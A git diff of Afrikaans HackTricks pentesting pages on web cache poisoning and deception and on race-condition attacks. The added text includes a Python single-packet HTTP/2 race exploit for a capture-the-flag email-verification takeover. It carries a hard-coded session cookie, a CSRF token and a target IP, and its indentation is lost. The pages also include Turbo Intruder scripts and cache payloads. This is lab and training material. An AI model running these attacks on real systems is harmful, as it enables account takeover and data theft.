deur misbruik te maak van HTTP-aanvraagsmokkelarij](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). +Leer hier oor hoe om [Cache-vergiftigingsaanvalle uit te voer deur HTTP-aanvraagsmokkelarij te misbruik](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). ### Geoutomatiseerde toetsing vir Web Cache-vergiftiging -Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties te toets vir web-cachevergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar. +Die [Web Cache-kwesbaarheidsskandeerder](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties te toets vir web-cachevergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar. Voorbeeldgebruik: `wcvs -u example.com`
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie** te bou en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie te bou** en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -134,7 +134,7 @@ Kry Vandag Toegang: ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache-sleutel slegs geskep deur die gasheer, pad en navraag te gebruik (met uitsluiting van die fragment). Dus is die versoek `/#/../?r=javascript:alert(1)` na die agterste stuur as `/#/../?r=javascript:alert(1)` en het die cache-sleutel nie die lading binne dit gehad nie, slegs gasheer, pad en navraag. +ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache-sleutel slegs gegenereer deur die gasheer, pad en navraag te gebruik (met uitsluiting van die fragment). Dus is die versoek `/#/../?r=javascript:alert(1)` na die agterste stuur as `/#/../?r=javascript:alert(1)` en het die cache-sleutel nie die lading binne dit gehad nie, slegs gasheer, pad en navraag. ### GitHub CP-DoS @@ -152,13 +152,13 @@ In Ruby on Rails-aansoeke word Rak-middelware dikwels gebruik. Die doel van die Cloudflare het vroeër 403-reaksies gekaap. 'n Poging om S3- of Azure-stoorblokke met ongeldige Autorisasiekoppe te benader, sou 'n 403-reaksie tot gevolg hê wat gekaap is. Alhoewel Cloudflare opgehou het om 403-reaksies te kies, kan hierdie gedrag nog steeds teenwoordig wees in ander proksi-diens. -### Injeksie van Gesleutelde Parameters +### Injekteer Gesleutelde Parameters Cache sluit dikwels spesifieke GET-parameter in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `grootte`-parameter in versoekers gekaap. As 'n URL-gekodeerde weergawe van die parameter (bv., `siz%65`) ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel opgestel word deur die korrekte `grootte`-parameter te gebruik. Tog sou die agterste waarde in die URL-gekodeerde parameter verwerk word. URL-kodering van die tweede `grootte`-parameter het tot sy weglaat deur die cache gelei, maar tot sy gebruik deur die agterste. Die toekenning van 'n waarde van 0 aan hierdie parameter het gelei tot 'n koppelbare 400 Foutversoek-fout. ### Gebruikeragentreëls -Sommige ontwikkelaars blokkeer versoekers met gebruikers-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache-vergiftiging en DoS inbring. +Sommige ontwikkelaars blokkeer versoekers met gebruiker-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache-vergiftiging en DoS inbring. ### Onwettige Kopvelvelde @@ -172,7 +172,7 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aan Die doel van Cache Bedrog is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**. -Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die reaksie stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** met die **sensitiewe** gebruikersinhoud wat gestoor is in _www.example.com/profile.php_ herhaal, kan jy daardie inhoud van ander gebruikers **steel**. +Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die reaksie stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, herhaal word, kan jy daardie inhoud van ander gebruikers **steel**. Ander dinge om te toets: @@ -184,12 +184,16 @@ Ander dinge om te toets: * _Gebruik minder bekende uitbreidings soos_ `.avif` 'n Baie duidelike voorbeeld kan gevind word in hierdie skrywe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy laai soos _http://www.example.com/home.php/non-existent.css_ die inhoud van _http://www.example.com/home.php_ (**met die sensitiewe inligting van die gebruiker**) teruggegee gaan word en die cache-bediener gaan die resultaat stoor.\ +In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) teruggegee gaan word en die cache-bediener gaan die resultaat stoor.\ Dan kan die **aanvaller** _http://www.example.com/home.php/non-existent.css_ in hul eie blaaier toegang en die **vertroulike inligting** van die gebruikers wat voorheen toegang gekry het, waarneem. -Let daarop dat die **cache-proksi** ingestel moet wees om lêers te **stoor** **gebaseer** op die **uitbreiding** van die lêer (_.css_) en nie op die inhoudstipe nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` inhoudstipe hê in plaas van 'n `text/css` mime-tipe (wat die verwagte vir 'n _.css_ lêer is). +Let daarop dat die **cache-proksi** moet wees **gekonfigureer** om lêers **gebaseer** op die **uitbreiding** van die lêer (_.css_) te **stoor** en nie op die inhoudstipe nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` inhoudstipe hê in plaas van 'n `text/css` mime-tipe (wat die verwagte vir 'n _.css_ lêer is). -Leer hier oor hoe om [Cache Bedrog-aanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelarij](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +Leer hier oor hoe om [Cache Bedrog-aanvalle uit te voer deur HTTP-aanvraagsmokkelarij te misbruik](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). + +## Outomatiese Gereedskap + +* [**toxicache**](https://github.com/xhzeem/toxicache): Golang-skandeerder om web-cachevergiftigingskwesbaarhede in 'n lys URL's te vind en verskeie inspuitingstegnieke te toets. ## Verwysings @@ -203,7 +207,7 @@ Leer hier oor hoe om [Cache Bedrog-aanvalle uit te voer deur misbruik te maak va
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie** te bou en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie te bou** en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -213,8 +217,10 @@ Kry Vandag Toegang: Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. + +
diff --git a/pentesting-web/race-condition.md b/pentesting-web/race-condition.md index 75a3e4019..8a88027e2 100644 --- a/pentesting-web/race-condition.md +++ b/pentesting-web/race-condition.md @@ -4,13 +4,13 @@ \ Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Toegang Vandag: +Kry Vandaag Toegang: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Leer AWS hakwerk van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: @@ -18,7 +18,7 @@ Ander maniere om HackTricks te ondersteun: * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -32,35 +32,35 @@ Die grootste struikelblok om voordeel te trek uit wedloop toestande is om seker Hier kan jy 'n paar tegnieke vir Sinchronisering van Versoeke vind: -#### HTTP/2 Enkel-Pakket Aanval teenoor HTTP/1.1 Laaste-Byte Sinsronisering +#### HTTP/2 Enkel-Pakket Aanval teenoor HTTP/1.1 Laaste-Byte Sinchronisering -* **HTTP/2**: Ondersteun die stuur van twee versoeke oor 'n enkele TCP-koppeling, wat die impak van netwerkfluktuasie verminder. Tog, as gevolg van serverkant variasies, mag twee versoeke nie voldoende wees vir 'n konsekwente wedloop toestand uitbuiting nie. -* **HTTP/1.1 'Laaste-Byte Sync'**: Maak die vooraf stuur van die meeste dele van 20-30 versoeke moontlik, met die terughouding van 'n klein fragment, wat dan saam gestuur word, om gelyktydige aankoms by die bediener te bereik. +* **HTTP/2**: Ondersteun die stuur van twee versoeke oor 'n enkele TCP-verbinding, wat die impak van netwerkfluktuasie verminder. Tog, as gevolg van serverkant variasies, mag twee versoeke nie voldoende wees vir 'n konsekwente wedloop toestand aanval nie. +* **HTTP/1.1 'Laaste-Byte Sinchronisering'**: Maak dit moontlik om die vooraf stuur van die meeste dele van 20-30 versoeke, met die terughouding van 'n klein fragment, wat dan saam gestuur word, om gelyktydige aankoms by die bediener te bereik. -**Voorbereiding vir Laaste-Byte Sync** behels: +**Voorbereiding vir Laaste-Byte Sinchronisering** behels: 1. Stuur koppe en liggaamdata minus die finale byte sonder om die stroom te beëindig. 2. Pauzeer vir 100ms na die aanvanklike stuur. 3. Deaktiveer TCP\_NODELAY om Nagle se algoritme te gebruik vir die groepering van finale rame. -4. Ping om die koppeling op te warm. +4. Ping om die verbinding op te warm. -Die daaropvolgende stuur van terughou rame behoort in hul aankoms in 'n enkele pakket te resulteer, wat verifieer kan word via Wireshark. Hierdie metode is nie van toepassing op statiese lêers wat nie tipies betrokke is by RC aanvalle nie. +Die daaropvolgende stuur van terughou rame behoort te lei tot hul aankoms in 'n enkele pakket, wat verifieer kan word via Wireshark. Hierdie metode is nie van toepassing op statiese lêers wat nie tipies betrokke is by RC aanvalle nie. ### Aanpassing aan Bedienerargitektuur -Die begrip van die teiken se argitektuur is krities. Front-end bedieners mag versoeke anders roeteer, wat die tydsberekening beïnvloed. Voorsorgmaatreëls vir vooraf bedienerkant koppelingopwarming, deur onbeduidende versoeke, kan versoektydsberekening normaliseer. +Die begrip van die teiken se argitektuur is krities. Front-end bedieners mag versoeke anders roeteer, wat die tydsberekening beïnvloed. Voorsorgmaatreëls vir vooraf bedienerkant-verbindingopwarming, deur onbeduidende versoeke, kan versoektydsberekening normaliseer. #### Hantering van Sessie-Gebaseerde Sluiting -Raamwerke soos PHP se sessiehanterer serialize versoeke per sessie, wat moontlik kwesbaarhede kan verberg. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil. +Raamwerke soos PHP se sessiehanterer serializeer versoeke per sessie, wat moontlik kwesbaarhede kan verberg. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil. #### Oorkom van Tarief- of Hulpbronbeperkings -As koppelingopwarming nie effektief is nie, kan die opsetlike aktivering van webbedieners se tarief- of hulpbronbeperkingsvertragings deur 'n vloed van dummiversoeke die enkel-pakket aanval fasiliteer deur 'n bedienerside vertraging te veroorsaak wat bevorderlik is vir wedloop toestande. +As verbindingopwarming nie effektief is nie, kan die opsetlike aktivering van webbedieners se tarief- of hulpbronbeperkingsvertragings deur 'n vloed van dummiversoeke die enkel-pakket aanval fasiliteer deur 'n bedienerkantvertraging te veroorsaak wat bevorderlik is vir wedloop toestande. ## Aanval Voorbeelde -* **Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt)**: Jy kan die versoek na **Turbo intruder** stuur (`Uitbreidings` -> `Turbo Intruder` -> `Stuur na Turbo Intruder`), jy kan in die versoek die waarde wat jy wil kragtig afdwing vir **`%s`** soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en dan die **`examples/race-single-packer-attack.py`** van die keuslys kies: +* **Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt)**: Jy kan die versoek na **Turbo intruder** stuur (`Uitbreidings` -> `Turbo Intruder` -> `Stuur na Turbo Intruder`), jy kan in die versoek die waarde wat jy wil kragtig afdwing vir **`%s`** verander soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en kies dan die **`voorbeelde/wedloop-enkelpakket-aanval.py`** van die keuslys:
@@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1') As die web nie HTTP2 ondersteun nie (slegs HTTP1.1), gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`. {% endhint %} -* **Tubo Intruder - HTTP2 enkelpakket-aanval (Verskeie eindpunte)**: In geval jy 'n versoek na 1 eindpunt moet stuur en dan meerdere na ander eindpunte om die RCE te trigger, kan jy die `race-single-packet-attack.py` skrip verander met iets soos: +* **Tubo Intruder - HTTP2 enkelpakket-aanval (Verskeie eindpunte)**: Indien jy 'n versoek na 1 eindpunt moet stuur en dan meerdere na ander eindpunte om die RCE te trigger, kan jy die `race-single-packet-attack.py` skrip verander met iets soos: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -106,19 +106,148 @@ engine.queue(confirmationReq, gate=currentAttempt) engine.openGate(currentAttempt) ``` * Dit is ook beskikbaar in **Herhaling** via die nuwe '**Stuur groep in parallel**' opsie in Burp Suite. -* Vir **limiet-oorskryding** kan jy net dieselfde versoek **50 keer** in die groep byvoeg. -* Vir **verbindingsopwarming**, kan jy **aan die begin** van die **groep** 'n paar **versoeke** byvoeg na 'n nie-statische deel van die webbediener. -* Vir die **vertraging** van die proses **tussen** die verwerking **van een versoek en 'n ander** in 2 subtoestand-stappe, kan jy **ekstra versoeke tussen** beide versoeke byvoeg. -* Vir 'n **multi-eindpunt** RC kan jy begin om die **versoek** wat **na die verborge toestand gaan** te stuur en dan **50 versoeke** net daarna wat **die verborge toestand benut**. +* Vir **limiet-oorskryding** kan jy net die **dieselfde versoek 50 keer** in die groep byvoeg. +* Vir **verbindingsopwarming**, kan jy **aan die begin** van die **groep** 'n paar **versoeke** byvoeg na 'n nie-statiese deel van die webbediener. +* Vir die **vertraging** van die proses **tussen** die verwerking **van een versoek en 'n ander** in 2 substaat-stappe, kan jy **ekstra versoeke tussen** beide versoeke byvoeg. +* Vir 'n **multi-eindpunt** RC kan jy begin om die **versoek** te stuur wat **na die verborge toestand gaan** en dan **50 versoeke** net daarna stuur wat **die verborge toestand benut**.
-### Rou BF +* **Geoutomatiseerde Python-skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend geverifieer word totdat die verifikasietoken van die nuwe e-pos na die laaste e-pos arriveer (dit is omdat in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig maar die verifikasie na die ou een gestuur te kry omdat die veranderlike wat die e-pos aandui reeds met die eerste een gevul was).\ +Wanneer die woord "objetivo" in die ontvangs e-posse gevind word, weet ons dat ons die verifikasietoken van die veranderde e-pos ontvang het en ons die aanval beëindig. +```python +# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun +# Script from victor to solve a HTB challenge +from h2spacex import H2OnTlsConnection +from time import sleep +from h2spacex import h2_frames +import requests -Voor die vorige navorsing is hierdie payloads gebruik wat net probeer het om die pakkies so vinnig as moontlik te stuur om 'n RC te veroorsaak. +cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" -* **Herhaling:** Kyk na die voorbeelde uit die vorige afdeling. -* **Indringer:** Stuur die **versoek** na **Indringer**, stel die **aantal drade** in op **30** binne die **Opsies-meny en,** kies as payload **Nul-payloads** en genereer **30.** +# change these headers + +headersObjetivo= """accept: */* +content-type: application/x-www-form-urlencoded +Cookie: """+cookie+""" +Content-Length: 112 +""" + +bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' + +headersVerification= """Content-Length: 1 +Cookie: """+cookie+""" +""" +CSRF="42a08872-610a-4965-9553-22d7b3aa1827" + +host = "94.237.56.46" +puerto =39697 + + +url = "https://"+host+":"+str(puerto)+"/email/" + +response = requests.get(url, verify=False) + + +while "objetivo" not in response.text: + +urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" + +responseDeleteMails = requests.get(urlDeleteMails, verify=False) +#print(response.text) +# change this host name to new generated one + +Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } +data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF +urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" +responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) + +print(responseReset.status_code) + +h2_conn = H2OnTlsConnection( +hostname=host, +port_number=puerto +) + +h2_conn.setup_connection() + +try_num = 100 + +stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) + +all_headers_frames = [] # all headers frame + data frames which have not the last byte +all_data_frames = [] # all data frames which contain the last byte + + +for i in range(0, try_num): +last_data_frame_with_last_byte='' +if i == try_num/2: +header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 +method='POST', +headers_string=headersObjetivo, +scheme='https', +stream_id=stream_ids_list[i], +authority=host, +body=bodyObjetivo, +path='/challenge/api/profile' +) +else: +header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( +method='GET', +headers_string=headersVerification, +scheme='https', +stream_id=stream_ids_list[i], +authority=host, +body=".", +path='/challenge/api/sendVerification' +) + +all_headers_frames.append(header_frames_without_last_byte) +all_data_frames.append(last_data_frame_with_last_byte) + + +# concatenate all headers bytes +temp_headers_bytes = b'' +for h in all_headers_frames: +temp_headers_bytes += bytes(h) + +# concatenate all data frames which have last byte +temp_data_bytes = b'' +for d in all_data_frames: +temp_data_bytes += bytes(d) + +h2_conn.send_bytes(temp_headers_bytes) + + + + +# wait some time +sleep(0.1) + +# send ping frame to warm up connection +h2_conn.send_ping_frame() + +# send remaining data frames +h2_conn.send_bytes(temp_data_bytes) + +resp = h2_conn.read_response_from_socket(_timeout=3) +frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) +frame_parser.add_frames(resp) +frame_parser.show_response_of_sent_requests() + +print('---') + +sleep(3) +h2_conn.close_connection() + +response = requests.get(url, verify=False) +``` +### Roue BF + +Voor die vorige navorsing was hierdie enkele lading wat gebruik is om net die pakkies so vinnig as moontlik te stuur om 'n RC te veroorsaak. + +* **Herhaler:** Kyk na die voorbeelde uit die vorige afdeling. +* **Indringer:** Stuur die **versoek** na die **Indringer**, stel die **aantal drade** in op **30** binne die **Opsies-menu,** kies **Nul-ladings** as lading en genereer **30.** * **Turbo Indringer** ```python def queueRequests(target, wordlists): @@ -178,21 +307,21 @@ Daar is baie variasies van hierdie soort aanval, insluitend: * Die beoordeling van 'n produk verskeie kere * Die onttrekking of oordrag van kontant bo jou rekeningsaldo * Die hergebruik van 'n enkele CAPTCHA-oplossing -* Die omseil van 'n anti-brute-krag limiet +* Die omseil van 'n anti-brute-force tempo-limiet ### **Versteekte subtoestande** -Die uitbuiting van komplekse wedren-toestande behels dikwels die benutting van kort geleenthede om met versteekte of **onbedoelde masjien subtoestande** te interaksieer. Hier is hoe om hierdie benadering te volg: +Die uitbuiting van komplekse wedren-toestande behels dikwels die benutting van kort geleenthede om met versteekte of **onbedoelde masjien subtoestande** te interaksieer. Hier is hoe om dit aan te pak: 1. **Identifiseer Potensiële Versteekte Subtoestande** * Begin deur eindpunte te identifiseer wat kritieke data wysig of daarmee interaksieer, soos gebruikersprofiele of wagwoord-herstelprosesse. Fokus op: -* **Stoor**: Gee voorkeur aan eindpunte wat bedienerkant persistente data manipuleer bo die wat data aan die kliëntkant hanteer. +* **Stoor**: Gee voorkeur aan eindpunte wat bedienerkant volgehoue data manipuleer bo die wat data aan die kliëntkant hanteer. * **Aksie**: Soek na operasies wat bestaande data verander, wat meer geneig is om uitbuitbare toestande te skep in vergelyking met die wat nuwe data byvoeg. -* **Sleutel**: Suksesvolle aanvalle behels gewoonlik operasies wat gesleutel is op dieselfde identifiseerder, bv., gebruikersnaam of herstelteken. +* **Sleuteling**: Suksesvolle aanvalle behels gewoonlik operasies wat gesleutel is op dieselfde identifiseerder, bv., gebruikersnaam of herstelteken. 2. **Voer Aanvanklike Ondersoek uit** * Toets die geïdentifiseerde eindpunte met wedren-toestandaanvalle en let op enige afwykings van verwagte uitkomste. Onverwagte reaksies of veranderinge in aansoekgedrag kan 'n kwesbaarheid aandui. 3. **Wys die Kwesbaarheid** -* Beperk die aanval tot die minimale aantal versoek wat nodig is om die kwesbaarheid uit te buit, dikwels net twee. Hierdie stap mag verskeie pogings of outomatisering vereis as gevolg van die presiese tydsberekening wat betrokke is. +* Beperk die aanval tot die minimale aantal versoek wat nodig is om die kwesbaarheid uit te buit, dikwels net twee. Hierdie stap mag weens die presiese tydsberekening betrokke, meervoudige pogings of outomatisering vereis. ### Tydsensitiewe Aanvalle @@ -204,35 +333,35 @@ Presisie in die tydsberekening van versoek kan kwesbaarhede aan die lig bring, v **Voorbeeld:** -* Doen twee wagwoordhersteltekensversoeke op dieselfde tyd en vergelyk hulle. Overeenstemmende tekens dui op 'n fout in teken-generering. +* Vra twee wagwoordhersteltekens op dieselfde tyd aan en vergelyk hulle. Overeenstemmende tekens dui op 'n fout in teken-generering. **Kyk na hierdie** [**PortSwigger-lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **om dit te probeer.** -## Gevallestudies van Versteekte Subtoestande +## Gevallestudies van Versteekte subtoestande ### Betaal & Voeg 'n Item by -Kyk na hierdie [**PortSwigger-lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) om te sien hoe om te **betaal** in 'n winkel en 'n ekstra item by te **voeg** wat jy nie vir hoef te betaal nie. +Kyk na hierdie [**PortSwigger-lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) om te sien hoe om te **betaal** in 'n winkel en 'n ekstra item by te **voeg** wat jy **nie vir hoef te betaal nie**. ### Bevestig ander e-posse -Die idee is om 'n e-posadres te **verifieer** en dit terselfdertyd na 'n ander een te verander om uit te vind of die platform die nuwe een verifieer. +Die idee is om 'n e-posadres te **verifieer en dit terselfdertyd na 'n ander een te verander** om uit te vind of die platform die nuwe een verifieer. ### Verander e-pos na 2 e-posadresse op Koekegebaseer -Volgens [**hierdie navorsing**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab vatbaar vir 'n oorneem op hierdie manier omdat dit moontlik die **e-posverifikasietoken van een e-pos na die ander e-pos** kon **stuur**. +Volgens [**hierdie navorsing**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab vatbaar vir 'n oorneem op hierdie manier omdat dit moontlik die **e-posverifikasietoken van een e-pos na die ander e-pos kan stuur**. **Kyk na hierdie** [**PortSwigger-lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **om dit te probeer.** -### Versteekte Databasestatusse / Bevestigingsoorslaan +### Versteekte Databasestatusse / Bevestigingsomseiling -As **2 verskillende skrywes** gebruik word om **inligting** binne 'n **databasis by te voeg**, is daar 'n klein tydperk waarin **slegs die eerste data in die databasis geskryf is**. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die **gebruikersnaam** en **wagwoord** geskryf word en dan die teken om die nuutgeskepte rekening te bevestig. Dit beteken dat vir 'n kort tydperk die **teken om 'n rekening te bevestig nul is**. +As **2 verskillende skrywes** gebruik word om **inligting** binne 'n **databasis by te voeg**, is daar 'n klein tydperk waarin **slegs die eerste data in die databasis geskryf is**. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die **gebruikersnaam** en **wagwoord** geskryf word en daarna die teken om die nuutgeskepte rekening te bevestig. Dit beteken dat vir 'n kort tydperk die **teken om 'n rekening te bevestig nul is**. -Daarom kan **die registrasie van 'n rekening en die stuur van verskeie versoek met 'n leë teken** (`teken=` of `teken[]=` of enige ander variasie) om die rekening onmiddellik te bevestig, dit moontlik maak om 'n rekening te bevestig waar jy nie die e-pos beheer nie. +Daarom kan **die registreer van 'n rekening en die stuur van verskeie versoek met 'n leë teken** (`teken=` of `teken[]=` of enige ander variasie) om die rekening dadelik te bevestig, dit moontlik maak om 'n rekening te bevestig waar jy nie die e-pos beheer nie. **Kyk na hierdie** [**PortSwigger-lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **om dit te probeer.** -### Omskep 2FA +### Omseil 2FA Die volgende pseudokode is vatbaar vir 'n wedren-toestand omdat in 'n baie kort tydperk die **2FA nie afgedwing word** terwyl die sessie geskep word: ```python @@ -253,7 +382,7 @@ Die **probleem** ontstaan wanneer jy dit **aanvaar** en outomaties 'n **`authori #### Race Voorwaarde in `Refresh Token` -Sodra jy 'n geldige RT **verkry het**, kan jy probeer om dit te misbruik om verskeie AT/RT te genereer en **selfs as die gebruiker die toestemmings kanselleer** vir die skadelike aansoek om toegang tot sy data te verkry, **sal verskeie RTs steeds geldig wees**. +Sodra jy 'n geldige RT het, kan jy probeer om dit te misbruik om verskeie AT/RT te genereer en selfs as die gebruiker die toestemmings kanselleer vir die skadelike aansoek om toegang tot sy data te verkry, **sal verskeie RTs steeds geldig wees**. ## **RC in WebSockets** @@ -269,7 +398,7 @@ In [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\
